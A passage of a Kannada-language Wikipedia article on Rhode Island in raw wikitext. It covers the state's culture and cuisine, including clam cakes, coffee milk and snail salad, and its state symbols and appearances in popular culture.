web|url=http://www.pvdairport.com/main.aspx?guid=E41AC564-9E66-4D80-B6B6-B5037AD944EA|title=Terminal Improvement Project|publisher=Rhode Island Airport Corporation|accessdate=May 13, 2008|archive-date=ಆಗಸ್ಟ್ 13, 2007|archive-url=https://web.archive.org/web/20070813150108/http://www.pvdairport.com/main.aspx?guid=E41AC564-9E66-4D80-B6B6-B5037AD944EA|url-status=dead}}</ref> ಹಾಗೂ ರಾಜ್ಯದ ಪರವಾನಗಿ ಪ್ಲೇಟ್‌ಗಳು ಸಾಗರದ ಅಲೆ ಅಥವಾ ತೇಲುವ ದೋಣಿಯನ್ನು ಬಿಂಬಿಸುತ್ತದೆ.<ref>{{cite web|url=http://www.worldlicenceplates.com/usa/US_RIXX.html|publisher=PlatesUSA.com|accessdate=April 13, 2008|title=United States:Rhode Island|author=Michael Kusterman|archive-date=ಏಪ್ರಿಲ್ 20, 2008|archive-url=https://web.archive.org/web/20080420134941/http://www.worldlicenceplates.com/usa/US_RIXX.html|url-status=dead}}</ref> ಇದಲ್ಲದೇ, ವಾಷಿಂಗ್ಟನ್ ಕೌಂಟಿಯ ಅನೇಕ ಸಮುದ್ರತೀರಗಳು ಅನೇಕ ಮಂದಿ ರೋಡ್ ನಿವಾಸಿಗಳನ್ನು ಬೇಸಿಗೆ ರಜೆ ಕಳೆಯಲು ದಕ್ಷಿಣ ಭಾಗಕ್ಕೆ ತೆರಳುವಂತೆ ಪ್ರಲೋಭಿಸುತ್ತದೆ.<ref>{{cite web|url=http://www.quahog.org/factsfolklore/index.php?id=105|title=Quahog.org: Rhode Island Beaches|accessdate=May 30, 2007|publisher=Quahog.org}}</ref> 1950ರ ದಶಕದಿಂದ 1990ರ ದಶಕದವರೆಗೆ ಸಂಘಟಿತ ಅಪರಾಧ ಚಟುವಟಿಕೆಗೆ ರಾಜ್ಯವು ಕುಖ್ಯಾತವಾಗಿತ್ತು. ಪ್ಯಾಟ್ರಿಯಾರ್ಕ ಅಪರಾಧಿ ಕುಟುಂಬವೆಂಬ ಸಂಘಟಿತ ಅಪರಾಧ ಕೂಟವು ತನ್ನ ಪ್ರಾವಿಡೆನ್ಸ್ ಕೇಂದ್ರಕಚೇರಿಯಿಂದ ನ್ಯೂಇಂಗ್ಲೆಂಡ್‌ನ ಬಹುಮಟ್ಟಿನ ಭಾಗದ ಮೇಲೆ ನಿಯಂತ್ರಣವನ್ನು ಹೊಂದಿತ್ತು. ಕಳೆದ 20 ವರ್ಷಗಳಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಸಂಘಟಿತ ಅಪರಾಧದ ಪ್ರಭಾವ ಬಹುತೇಕ ಕುಂಠಿತವಾಗಿದ್ದರೂ,ಇದರ ನಿವಾಸಿಗಳು ದಶಕಗಳ ಕಾಲ ರಾಜ್ಯವನ್ನು ಭೀತಗೊಳಿಸಿದ ವ್ಯಾಪಕ ಲಂಚ ಮತ್ತು ಭ್ರಷ್ಟಾಚಾರದ ಪರಿಕಲ್ಪನೆಗಳಿಂದ ಇನ್ನೂ ಕಳಂಕಿತರಾಗಿದ್ದಾರೆ.{{Citation needed|date=June 2009}} ರೋಡ್ ಐಲೆಂಡ್ ನಿವಾಸಿಗಳು 17ನೇ ಶತಮಾನದಲ್ಲಿ ಸ್ಟೋನ್‌ಎಂಡರ್ ಎಂದು ಕರೆಯಲಾಗುವ ವಾಸ್ತುವಿನ್ಯಾಸದ ವಿಶಿಷ್ಟ ಶೈಲಿಯನ್ನು ಬೆಳೆಸಿಕೊಂಡಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.warwickri.gov/heritage/damatoshistory/conimicut3.htm|title=Warwick’s Villages & Historic Places|author=Don D’Amato|publisher=City of Warwick|accessdate=April 13, 2008 |archiveurl = https://web.archive.org/web/20070927205528/http://www.warwickri.gov/heritage/damatoshistory/conimicut3.htm |archivedate = September 27, 2007}}</ref> ರೋಡ್ ಐಲೆಂಡ್ ವಿಕ್ಟರಿ ಓವರ್ ಜಪಾನ್ ಡೇ (ಜಪಾನ್ ಶರಣಾಗತಿ ದಿನ)ಆಚರಿಸುತ್ತಿರುವ ಏಕೈಕ ರಾಜ್ಯವಾಗಿದೆ. ಇದನ್ನು ಸ್ಥಳೀಯವಾಗಿ "VJ ದಿನ" ಅಥವಾ ಸರಳವಾಗಿ "ವಿಜಯದ ದಿನ" ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ.<ref>{{cite web |url=http://www.sec.state.ri.us/library/riinfo/riinfo/knowrhode |title=Know Rhode Island: History And Facts About The Ocean State |publisher=Rhode Island Office of the Secretary of State}}</ref> === ಆಹಾರ ಮತ್ತು ಪಾನೀಯಗಳು === [[ಚಿತ್ರ:Snail salad.jpg|225px|left|thumb|ಸ್ಥಳೀಯ ರೆಸ್ಟೊರೆಂಟಿನಿಂದ ಸ್ನೇಲ್ ಸಲಾಡ್]] ಅನೇಕ ಆಹಾರಗಳು ಮತ್ತು ತಿನಿಸುಗಳು ರೋಡ್ ಐಲೆಂಡ್ ವೈಶಿಷ್ಟ್ಯವಾಗಿದ್ದು, ಕೆಲವು ರಾಜ್ಯದ ಹೊರಗೆ ಲಭ್ಯವಾಗುವುದು ವಿರಳ. ''ಹಾಟ್ ವೈನರ್‌ಗಳು'' , ಇದನ್ನು ಕೆಲವು ಬಾರಿ ''ಗ್ಯಾಗರ್ಸ್'' , ''ವೀನಿಸ್'' , ಅಥವಾ ''ನ್ಯೂಯಾರ್ಕ್ ಸಿಸ್ಟಮ್ ವೀನರ್ಸ್'' ಎನ್ನಲಾಗುತ್ತದೆ. ಇವು ಸಾಮಾನ್ಯ ಹಾಟ್ ಡಾಗ್‌ಗಿಂತ ಸಣ್ಣದಾಗಿರುತ್ತದೆ. ಮಾಂಸದ ಸಾಸ್, ಕತ್ತರಿಸಿದ ಈರುಳ್ಳಿ,ಸಾಸಿವೆ, ಮತ್ತು ಸೆಲರಿಉಪ್ಪುಗಳಿಂದ ಮುಚ್ಚಿ ಬಡಿಸಲಾಗುತ್ತದೆ. ರೋಡ್ ಐಲೆಂಡ್ ಪ್ರಖ್ಯಾತ ತಿನಿಸು ಸ್ನೇಲ್ ಸಲಾಡ್. ಇದನ್ನು ರಾಜ್ಯದಾದ್ಯಂತ ಅಸಂಖ್ಯಾತ ರೆಸ್ಟೊರೆಂಟ್‌ಗಳಲ್ಲಿ ಬಡಿಸಲಾಗುತ್ತದೆ. ಈ ತಿನಿಸನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಕುಟುಂಬ ಶೈಲಿಯಲ್ಲಿ ಸಿದ್ಧಪಡಿಸಲಾಗುತ್ತದೆ ಹಾಗು ಸಮುದ್ರಾಹಾರ ತಿನಿಸುಗಳಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಕಾಣುವಂತೆ ಇತರೆ ಪದಾರ್ಥಗಳೊಂದಿಗೆ ಐದು ಪೌಂಡುಗಳಿಗಿಂತ ಹೆಚ್ಚು ಬಸವನಹುಳುಗಳನ್ನು ಮಿಶ್ರಣಮಾಡಲಾಗುತ್ತದೆ.<ref>[http://thecuttingedgeofordinary.blogspot.com/2008/06/scungilli-snail-salad.html ಸ್ಟಂಗಿಲ್ಲಿ ಸ್ನೇಲ್ ಸಲಾಡ್ ] ಕಟ್ಟಿಂಗ್ ಎಡ್ಜ್ ಆಫ್ ಆರ್ಡಿನೆರಿ, 2009ರ ಆಗಸ್ಟ್ 5ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ಗ್ರೈಂಡರ್ಸ್‌ ಸಬ್‌ಮೆರೀನ್ ಆಕಾರದ ಸ್ಯಾಂಡ್‌ವಿಚ್‌ಗಳಾಗಿದ್ದು, ಜನಪ್ರಿಯ ರೂಪವು ಇಟಾಲಿಯನ್ ಗ್ರೈಂಡರ್ ಆಗಿದೆ.ಇವುಗಳನ್ನು ತಣ್ಣನೆಯ ಮಾಂಸದ ಹೋಳುಗಳಿಂದ ತಯಾರಿಸಲಾಗುತ್ತದೆ.(ಸಾಮಾನ್ಯವಾಗಿ ಹ್ಯಾಮ್,ಪ್ರಾಸಿಕ್ಯುಟೊ, ಕ್ಯಾಪಿಕೋಲಾ, ಸಲಾಮಿಮತ್ತುಪ್ರೊವೋಲೋನ್ ಚೀಸ್). ''ಲಿಂಗುಯಿಕಾ'' (ಮಸಾಲೆಯ ಪೋರ್ಚುಗೀಸ್ ಸಾಸೇಜು)ಮತ್ತು ಮೆಣಸುಗಳನ್ನು ಬ್ರೆಡ್ ಜತೆ ಸೇವಿಸುವುದು ಕೂಡ ರಾಜ್ಯದ ದೊಡ್ಡ ಪೋರ್ಚುಗೀಸ್ ಸಮುದಾಯದಲ್ಲಿ ಪ್ರಖ್ಯಾತವಾಗಿದೆ. ''ಪಿಜ್ಜಾ ಸ್ಟ್ರಿಪ್ಸ್'' ಇಟಾಲಿಯನ್ ಬೇಕರಿಗಳಲ್ಲಿ ಬಹುಮಟ್ಟಿನ ಸೂಪರ್‌ಮಾರುಕಟ್ಟೆಗಳಲ್ಲಿ ಮತ್ತು ಸಿದ್ಧಆಹಾರ ಅಂಗಡಿಗಳಲ್ಲಿ ಮಾರಲಾಗುತ್ತದೆ. ಇವು ಗಿಣ್ಣುರಹಿತ ಆಯತಾಕಾರದ ಪಿಜ್ಜಾ ತುಂಡುಗಳಾಗಿದ್ದು, ತಣ್ಣಗಿರುವಾಗ ಬಡಿಸಲಾಗುತ್ತದೆ. "ಪಾರ್ಟಿ ಪಿಜ್ಜಾ" ಈ ಪಿಜ್ಜಾ ತುಂಡುಗಳ ಪೆಟ್ಟಿಗೆಯಾಗಿದೆ. ''ಸ್ಪೈನಾಕ್ ಪೈಸ್'' ಕಾಲ್ಜೋನ್‌ನನ್ನು ಹೋಲುತ್ತದೆ, ಆದರೆ ಮಾಂಸ, ಸಾಸ್ ಅಥವಾ ಗಿಣ್ಣಿನ ಬದಲಾಗಿ ಋತುವಿಗೆ ಹೊಂದಿಕೆಯಾಗುವ ಸ್ಪೈನಾಕ್ (ಬಸಲೆಸೊಪ್ಪು)ತುಂಬಿರುತ್ತದೆ. ವ್ಯತ್ಯಾಸಗಳಲ್ಲಿ ಕಪ್ಪು ಆಲೀವ್‍‌ಗಳು ಅಥವಾ ಬಸಲೆಯೊಂದಿಗೆ ಪೆಪ್ಪೆರೋನಿ ಸೇರಿರುತ್ತದೆ ಅಥವಾ ಬಸಲೆ ಬದಲಾಗಿ ಬ್ರೊಕೋಲಿ ಇರುತ್ತದೆ. ವಸಾಹತುಶಾಹಿ ದಿನಗಳಂತೆ, ''ಜಾನಿ ಕೇಕ್‌'' ಗಳನ್ನು ಮೆಕ್ಕೆಜೋಳದ ಹಿಟ್ಟು ಮತ್ತು ನೀರಿನಿಂದ ತಯಾರಿಸಲಾಗುತ್ತದೆ ನಂತರ ಪ್ಯಾನ್‌ಕೇಕ್ ರೀತಿಯಲ್ಲಿ ಪ್ಯಾನ್‌ನಲ್ಲಿ ಹುರಿಯಲಾಗುತ್ತದೆ. ಮೇಳಗಳು ಮತ್ತು ಉತ್ಸವಗಳ ಸಂದರ್ಭದಲ್ಲಿ, ರೋಡ್ ಐಲೆಂಡ್ ನಿವಾಸಿಗಳು ''ಡಫ್ ಬಾಯ್ಸ್'' (ಬೇಯಿಸಿದ ಹಿಟ್ಟಿನ ಭಕ್ಷ್ಯ) ರುಚಿಯನ್ನು ಸವಿಯುತ್ತಾರೆ. ಇದು ತೀವ್ರವಾಗಿ ಹುರಿದ ನಾದಿದ ಹಿಟ್ಟಿನ ಪ್ಲೇಟ್ ಗಾತ್ರದ ಗುಂಡಗಿನ ಆಕಾರವಿದ್ದು, ಪುಡಿಮಾಡಿದ ಸಕ್ಕರೆಯನ್ನು ಉದುರಿಸಲಾಗುತ್ತದೆ(ಅಥವಾ ಪಿಜ್ಜಾ ಸಾಸ್). ರೋಡ್ ಐಲೆಂಡ್ ಜೆಪ್ಪೋಲಾ ಅಥವಾ ಜೆಪ್ಪೋಲಿಸ್ ಭಿನ್ನವಾಗಿದ್ದು; ಸಾಂಪ್ರದಾಯಿಕವಾಗಿಸೇಂಟ್ ಜೋಸೆಫ್‍‌ರ ದಿನಸೇವಿಸಲಾಗುತ್ತದೆ. (ರಾಜ್ಯದಾದ್ಯಂತ ವ್ಯಾಪಕವಾಗಿ ಆಚರಿಸಲಾಗುತ್ತದೆ), ಸೇಂಟ್ ಜೋಸೆಫ್ ದಿನದ ಜೆಪ್ಪೋಲಿಸ್ ಸಿಹಿವಡೆ ರೀತಿಯ ಅಟ್ಟಕಣಕವಾಗಿದ್ದು, ವನಿಲಾ ಹೂರಣ ರಿಕೋಟಾಕ್ರೀಮ್, ಮೇಲ್ಬಾಗದಲ್ಲಿ ಚೆರಿ. [[ಚಿತ್ರ:Waterplacepark.JPG|225px|thumb|right|ಪ್ರಾವಿಡೆನ್ಸ್‌ನ ವಾಟರ್‌ಪ್ಲೇಸ್ ಪಾರ್ಕ್]] ಅನೇಕ ಕರಾವಳಿ ರಾಜ್ಯಗಳಂತೆ, ಸಮುದ್ರಾಹಾರ ತಕ್ಷಣವೇ ಲಭ್ಯವಿರುತ್ತದೆ. ಚಿಪ್ಪುಮೀನು ತೀವ್ರ ಜನಪ್ರಿಯವಾಗಿದ್ದು, ಮಳಿ(ಮೃದ್ವಂಗಿ) (ಕಪ್ಪೆ ಚಿಪ್ಪಿನ ಪ್ರಾಣಿ)ಯನ್ನು ಬಹುವಿಧದಲ್ಲಿ ಬಳಸಲಾಗುತ್ತದೆ. ''ಕ್ವುಯಹಾಗ್'' (ಅಥವಾ ''ಕ್ವಾಹಾಗ್'' ,ನರ್ರಾಗನ್‌ಸೆಟ್ ಇಂಡಿಯನ್ ಪದ "ಪೋಕ್ವಾಹಾಕ್‌"ನಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ - ನೋಡಿ ''ಎ ಕೀ ಇಂಟು ದಿ ಲಾಂಗ್ವೇಜ್ ಆಫ್ ಅಮೆರಿಕ'' ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ 1643 ಅವರಿಂದ) ದೊಡ್ಡ ಮಳಿಯಾಗಿದ್ದು, ಚೌಡರ್‌(ಸೂಪ್ ಅಥವಾ ಭಕ್ಷ್ಯ) ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಇದನ್ನು ಪುಡಿಮಾಡಿ ಮಸಾಲೆ ಹೂರಣದ ಜತೆ ಮಿಶ್ರಣ ಮಾಡಲಾಗುತ್ತದೆ(ಮತ್ತು ಕೆಲವುಬಾರಿ ಮಸಾಲೆ ತುಂಬಿದ ಮಾಂಸ)ನಂತರ ಅದರ ಚಿಪ್ಪಿನಲ್ಲಿ ಬೇಯಿಸಿ ''ಸ್ಟಫಿ'' ಯನ್ನು ತಯಾರು ಮಾಡಲಾಗುತ್ತದೆ. ಉಗಿಯಲ್ಲಿ ಬೇಯಿಸಿದ ಮಳಿ(ಚಿಪ್ಪಿನ ಪ್ರಾಣಿ) ಸಹ ಜನಪ್ರಿಯ ಭಕ್ಷ್ಯವಾಗಿದೆ. ''ಕಲಮಾರಿ'' (ದಶಪದಿ)ಯನ್ನು ಉಂಗುರಗಳಾಗಿ ಕತ್ತರಿಸಿ ಹುರಿದು ಅನೇಕ ಇಟಾಲಿಯನ್ ರೆಸ್ಟೊರೆಂಟ್‌ಗಳಲ್ಲಿ ಹಸಿವನ್ನು ಉತ್ತೇಜಿಸುವ ತಿನಿಸಾಗಿ ಬಡಿಸಲಾಗುತ್ತದೆ. ಒಂದು ಮಾದರಿಯ ಸಿಸಿಲಿಯನ್ ಶೈಲಿಯಿಂದ ಕೂಡಿರುತ್ತದೆ. ಕತ್ತರಿಸಿದ ಬಾಳೆಮೆಣಸಿನಕಾಯಿಗಳು ಮತ್ತು ಬದಿಯಲ್ಲಿ ಮಾರಿನಾರಾ ಸಾಸ್ ಇರುತ್ತದೆ. ರೋಡ್ ಐಲೆಂಡ್ ಉಳಿದ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ರೀತಿಯಲ್ಲಿ ಕ್ಲಾಮ್ ಚೌಡರ್(ಮಳಿ ಭಕ್ಷ್ಯ) ಬಡಿಸುವ ಸಂಪ್ರದಾಯವನ್ನು ಹೊಂದಿದೆ. ಬಿಳಿ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ವಿಧ ಮತ್ತು ಕೆಂಪು ರೆಡ್ ಮ್ಯಾನ್‌ಹ್ಯಾಟನ್ ವಿಧಗಳೆರಡೂ ಜನಪ್ರಿಯವಾಗಿದ್ದು, ''ರೋಡ್ ಐಲೆಂಡ್ ಕ್ಲಾಮ್ ಚೌಡರ್'' ಎಂದು ಹೆಸರಾದ ವಿಶಿಷ್ಟ ತಿಳಿ ಚೌಡರ್ ಅನೇಕ ರೆಸ್ಟೊರೆಂಟ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಗುಡ್ ಈಟ್ಸ್(ಟೆಲಿವಿಷನ್ ಪಾಕ ಪ್ರದರ್ಶನ)ಪ್ರಕಾರ, ಹಾಲಿನ ಬದಲಿಗೆ ಟೊಮೇಟೊಗಳನ್ನು ಸೇರಿಸುವುದು ಆರಂಭದಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್‌ನಲ್ಲಿ ಪೋರ್ಚುಗೀಸ್ ವಲಸೆಗಾರರ ಕೃತ್ಯವಾಗಿತ್ತು. ಟೊಮೆಟೊ ಆಧಾರಿತ ತಿನಿಸುಗಳು ಈಗಾಗಲೇ ಪೋರ್ಚುಗೀಸ್ ಪಾಕಶಾಲೆಯ ಸಾಂಪ್ರದಾಯಿಕ ಭಾಗವಾಗಿದ್ದು, ಹಾಲು ಟೊಮೇಟೊಗಿಂತ ದುಬಾರಿಯಾಗಿತ್ತು. ತಿರಸ್ಕಾರದಿಂದ ಕೂಡಿದ ನ್ಯೂ ಇಂಗ್ಲೆಂಡಿಗರು ಈ ನವೀಕೃತ ಆವೃತ್ತಿಯನ್ನು "ಮ್ಯಾನ್‌ಹ್ಯಾಟನ್ ಶೈಲಿ"ಯ ಮಳಿ ಭಕ್ಷ್ಯ ಎಂದು ಕರೆದರು. ಏಕೆಂದರೆ ಅವರ ಅಭಿಪ್ರಾಯದಲ್ಲಿ ಒಬ್ಬರನ್ನು ನ್ಯೂಯಾರ್ಕರ್ ಎಂದು ಕರೆಯುವುದು ನಿಂದನೆಯಾಗಿತ್ತು. ಬಹುಶಃ ಅತ್ಯಂತ ಅಸಾಮಾನ್ಯ ಪಾಕಪದ್ಧತಿಯ ಸಂಪ್ರದಾಯವು ''ಕ್ಲಾಮ್ ಕೇಕ್'' (ಮಳಿ ಕೇಕ್) ತಯಾರಿಕೆಯಾಗಿದೆ. ಮಳಿ(ಮೃದ್ವಂಗಿ) ಕೇಕ್(ರೋಡ್ ಐಲೆಂಡ್ ಹೊರಗೆ ಮಳಿ ಪನಿಯಾಣ ಎಂದೂ ಹೆಸರಾಗಿದೆ) ಅತಿಯಾಗಿ ಹುರಿದ ಬೆಣ್ಣೆಯಿಂದ ಕೂಡಿದ ಹಿಟ್ಟಿನ ಉಂಡೆಯಾಗಿದ್ದು, ಒಳಗೆ ಮಳಿಯ ಕತ್ತರಿಸಿದ ಚೂರುಗಳಿರುತ್ತವೆ. ರಾಜ್ಯದ ಸುತ್ತಲೂ ಸಮುದ್ರಾಹಾರ ರೆಸ್ಟೊರೆಂಟ್‌ಗಳಲ್ಲಿ ಅರ್ಧ ಡಜನ್ ಅಥವಾ ಡಜನ್ ಸಂಖ್ಯೆಯಲ್ಲಿ ಮಾರಲಾಗುತ್ತದೆ. ರೋಡ್ ಐಲೆಂಡ್‌ನಲ್ಲಿ ಸರ್ವೋತ್ಕೃಷ್ಟ ಬೇಸಿಗೆ ಬೋಜನವು ಚೌಡರ್ ಮತ್ತು ಮಳಿ ಕೇಕ್‌ಗಳಾಗಿವೆ. ಕ್ಲಾಮ್ಸ್ ಕ್ಯಾಸಿನೊ ರೋಡ್ ಐಲೆಂಡ್‌ನಲ್ಲಿ ಹುಟ್ಟಿಕೊಂಡಿತು. ನರಾಗನ್‌ಸೆಟ್‌ನ ಕಡಲತಡಿಯ ಟವರ್ಸ್‌ನ ಪಕ್ಕದಲ್ಲಿರುವ ಮೂಲ ಕ್ಯಾಸಿನೊದ ಊಟದ ಕೋಣೆಯ ಮೇಲ್ವಿಚಾರಕ ಜೂಲಿಯಸ್ ಕೆಲ್ಲರ್ ಇದನ್ನು ಶೋಧಿಸಿದ್ದಾನೆ.<ref name="Gourmet">ರತ್ ರೈಚಲ್, ಜಾನ್ ವಿಲ್ಲೋಗ್‌ಬೈ, ಜಾನೆ ಅರ್ಲಿ ಸ್ಟೆವಾರ್ಟ್ ದಿ ಗೋರ್‌ಮೆಟ್ ಕುಕ್‌ಬುಕ್:ಮೋರ್ ದ್ಯಾನ್ 1000 ರಿಸೈಪ್ಸ್ ಹೌಟನ್ ಮಿಫ್ಲಿನ್ ಹಾರ್‌ಕೋರ್ಟ್, 2006 ISBN 0-618-80692-X,9780618806928 1056 ಪುಟಗಳು ಪುಟ 50 [https://books.google.com/books?id=PwJgZhXZVNkC&amp;pg=PA50&amp;dq=clams+casino+rhode+island ದಿ ಗೌರ್‌ಮೆಟ್ ಕುಕ್‌ಬುಕ್]</ref> ಕ್ಲಾಮ್ಸ್ ಕ್ಯಾಸಿನೊ ತುಂಬಿದ ಕ್ವುಆಹಾಗ್(ಗಟ್ಟಿಚಿಪ್ಪಿನ ಮಳಿ)ಯನ್ನು ಹೋಲುತ್ತದೆ ಆದರೆ ಸಾಮಾನ್ಯವಾಗಿ ಸಣ್ಣ ಲಿಟಲ್‌ನೆಕ್ ಅಥವಾ ಚೆರಿಸ್ಟೋನ್ ಮಳಿ(ಮೃದ್ವಂಗಿ)ಯಿಂದ ತಯಾರಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಹಂದಿ ಮಾಂಸದ ಚೂರುಗಳೊಂದಿಗೆ ಬಳಕೆಯಲ್ಲಿ ವೈಶಿಷ್ಟ್ಯದಿಂದ ಕೂಡಿದೆ. ಪ್ರಾವಿಡೆನ್ಸ್ ಜರ್ನಲ್ ಲೇಖನದ ಪ್ರಕಾರ, ರಾಜ್ಯವು ರಾಷ್ಟ್ರದಲ್ಲೇ ತಲಾ ಅತ್ಯಧಿಕ ಸಂಖ್ಯೆ ಮತ್ತು ಅತ್ಯಧಿಕ ಸಾಂದ್ರತೆಯ ಕಾಫೀ/ಡಫ್‌ನಟ್(ಸಿಹಿವಡೆ) ಅಂಗಡಿಗಳನ್ನು ಒಳಗೊಂಡಿದ್ದು, ಒಟ್ಟು 342 ಕಾಫೀ/ ಡಫ್‌ನಟ್ ಅಂಗಡಿಗಳನ್ನು ರಾಜ್ಯವು ಹೊಂದಿದೆ. ಒಂದು ಹಂತದಲ್ಲಿ, ಡಂಕಿನ್ ಡಾನಟ್ಸ್ ಒಂದೇ 225 ಸ್ಥಳಗಳಲ್ಲಿ ಅಂಗಡಿಗಳನ್ನು ಸ್ಥಾಪಿಸಿತ್ತು<ref>{{cite web|url=http://www.urbanplanet.org/forums/lofiversion/index.php/t5597.html Providence Journal|title=Chewing over why we love doughnut shops|author=Patinkin, Mark|accessdate=January 20, 2007}}</ref> ರೋಡ್ ಐಲೆಂಡ್ ಅಧಿಕೃತ ರಾಜ್ಯ ಪಾನೀಯ ''ಕಾಫೀ ಮಿಲ್ಕ್'' ,<ref>[http://www.ri.gov/facts RI ಗವರ್ನಮೆಂಟ್ ಫ್ಯಾಕ್ಸ್ ಎಂಡ್ ಹಿಸ್ಟರಿ].</ref> ಕಾಫೀ ಸಿರಪ್ ಜತೆ ಹಾಲನ್ನು ಬೆರೆಸುವ ಮೂಲಕ ತಯಾರಿಸಿದ ಪಾನೀಯ. ಆ ವಿಶಿಷ್ಟ ಪಾನಕವನ್ನು ರಾಜ್ಯದಲ್ಲಿ ಶೋಧಿಸಲಾಗಿದ್ದು, ಬಹುತೇಕ ರೋಡ್ ಐಲೆಂಡ್ ಸೂಪರ್‌‌ಮಾರ್ಕೆಟ್‌ಗಳ್ಲಲಿ ಮತ್ತು ಗಡಿಯ ಜಿಲ್ಲೆಗಳಲ್ಲಿ ಮಾರಲಾಗುತ್ತದೆ. ಕಾಫೀ ಮಿಲ್ಕ್ ಸ್ವಲ್ಪ ಮಟ್ಟಿನ ಕೆಫೀನ್ ಅಂಶವನ್ನು ಹೊಂದಿದ್ದರೂ, ಇದು ರಾಜ್ಯದಾದ್ಯಂತ ಶಾಲೆಯ ಕ್ಯಾಫಿಟೀರಿಯಗಳಲ್ಲಿ ಮಾರಲಾಗುತ್ತದೆ. ಸ್ಟ್ರಾಬೆರಿ ಹಾರು ಕೂಡ ಚಾಕೋಲೆಟ್ ಹಾಲಿನಂತೆ ಜನಪ್ರಿಯವಾಗಿದೆ. ''ಘನೀಕರಿಸಿದ ಲೆಮನೇಡ್'' (ಲಿಂಬೆ ಪಾನೀಯ) ಆಂಶಿಕವಾಗಿ ಕರಗಿಸಿದ ನೀರ್ಗಡ್ಡೆ, ತಾಜಾ ನಿಂಬೆಹಣ್ಣು ಮತ್ತು ಸಕ್ಕರೆಯ ಮಿಶ್ರಣವಾಗಿದ್ದು, ಬೇಸಗೆಯಲ್ಲಿ ಜನಪ್ರಿಯ ಪಾನೀಯವಾಗಿದೆ. ವಿಶೇಷವಾಗಿ ಕ್ರಾನ್‌ಸ್ಟನ್‍‌ನಲ್ಲಿ ನೆಲೆಹೊಂದಿರುವ ಡೆಲ್‌ನ ಘನೀಕರಿಸಿದ ಲೆಮನೇಡ್ ಜನಪ್ರಿಯವಾಗಿದೆ. === ಪ್ರಖ್ಯಾತ ರೋಡ್ ಐಲೆಂಡ್ ನಿವಾಸಿಗಳು === {{Infobox U.S. state symbols |Name = Rhode Island |Bird = [[Rhode Island Red Chicken]] |Fish = [[Striper Bass]] |Flower = [[Violet (plant)|Violet]] |Tree = [[Red maple]] |Beverage = [[Coffee milk]] |Food = Rhode Island Greening Apple |Mineral = [[Bowenite]] |StateRock = [[Cumberlandite]] |Shell = Northern [[Quahog]] |Slogan = ''Unwind'',"Hope" |Soil = [[Narragansett (soil)|Narragansett]] |Song = ''[[Rhode Island (song)|Rhode Island]]'',<br />''[[Rhode Island, It's for Me]]'' |Tartan = [http://www.standrewsri.org/tartan.htm Rhode Island Tartan]{{Dead link|date=March 2010}} |Route Marker = Rhode Island 3.svg |Quarter = 2001 RI Proof.png |QuarterReleaseDate = 2001 }} {{Main|Famous people from Rhode Island}} === ಜನಪ್ರಿಯ ಸಂಸ್ಕೃತಿ === [[ಚಿತ್ರ:DSC1194283181risummerhome.jpg|thumb|ಕೆಲವು ರೋಡ್ ಐಲೆಂಡ್ ನಿವಾಸಿಗಳು ತೀರಪ್ರದೇಶದಲ್ಲಿ ಎರಡನೇ "ಬೇಸಿಗೆ ಮನೆ"ಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ.]] {{Main|Rhode Island in popular culture}} ಫ್ಯೆರೆಲಿ ಬ್ರದರ್ಸ್ ಮತ್ತು ಸೇತ್ ಮ್ಯಾಕ್‌ಫಾರ್ಲೇನ್‌ ಜನಪ್ರಿಯ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡನ್ನು ಬಿಂಬಿಸಿದ್ದಾರೆ. ಈ ರಾಜ್ಯವನ್ನು ಕುರಿತು ಆಗಾಗ್ಗೆ ಹಾಸ್ಯಮಯ ವಿಡಂಬನೆಗಳನ್ನು ತಯಾರಿಸಿದ್ದಾರೆ. ಮ್ಯಾಕ್‌ಫರ್ಲೇನ್ ಟೆಲಿವಿಷನ್ ಸರಣಿ ಫ್ಯಾಮಿಲಿ ಗೈಗೆ ಕಾಲ್ಪನಿಕ ರೋಡ್ ಐಲೆಂಡ್ ನಗರ ಕ್ವುಹಾಗ್ ಆಧಾರವಾಗಿದೆ ಮತ್ತು ಗಮನಾರ್ಹ ಸ್ಥಳೀಯ ಸಮಾರಂಭಗಳು ಮತ್ತು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳನ್ನು ತೀಕ್ಷ್ಣ ವಿಡಂಬನೆ ಮಾಡಲಾಯಿತು. ಬಿಂಗ್ ಕ್ರಾಸ್‌ಬೈ, ಗ್ರೇಸ್ ಕೆಲ್ಲಿ ಮತ್ತು ಫ್ರಾಂಕ್ ಸಿನಾಟ್ರಾ ಪಾತ್ರವಿರುವ ಚಲನಚಿತ್ರ ''ಹೈಸೊಸೈಟಿ'' ಯನ್ನು ರೋಡ್ ಐಲೆಂಡ್ ನ್ಯೂಪೋರ್ಟ್‌ನಲ್ಲಿ ತಯಾರಿಸಲಾಯಿತು. 1974ರ ದಿ ಗ್ರೇಟ್ ಗ್ಯಾಟ್ಸ್‌ಬೈ ಚಲನಚಿತ್ರದ ರೂಪಾಂತರವನ್ನು ಕೂಡ ನ್ಯೂಪೋರ್ಟ್‌ನಲ್ಲಿ ಚಿತ್ರಿಸಲಾಯಿತು. ಜಾಕ್ವೆಲಿನ್ ಬೋವಿಯರ್ ಕೆನಡಿ ಒನಾಸಿಸ್ ಮತ್ತು [[ಜಾನ್ ಎಫ್.ಕೆನೆಡಿ|ಜಾನ್ F. ಕೆನಡಿ]] ನ್ಯೂಪೋರ್ಟ್,RIನ ಸೇಂಟ್ ಮೇರಿ ಚರ್ಚ್‌ನಲ್ಲಿ ವಿವಾಹವಾದರು. ಅವರ ಆರತಕ್ಷತೆ ಸಮಾರಂಭವನ್ನು ನ್ಯೂಪೋರ್ಟ್ 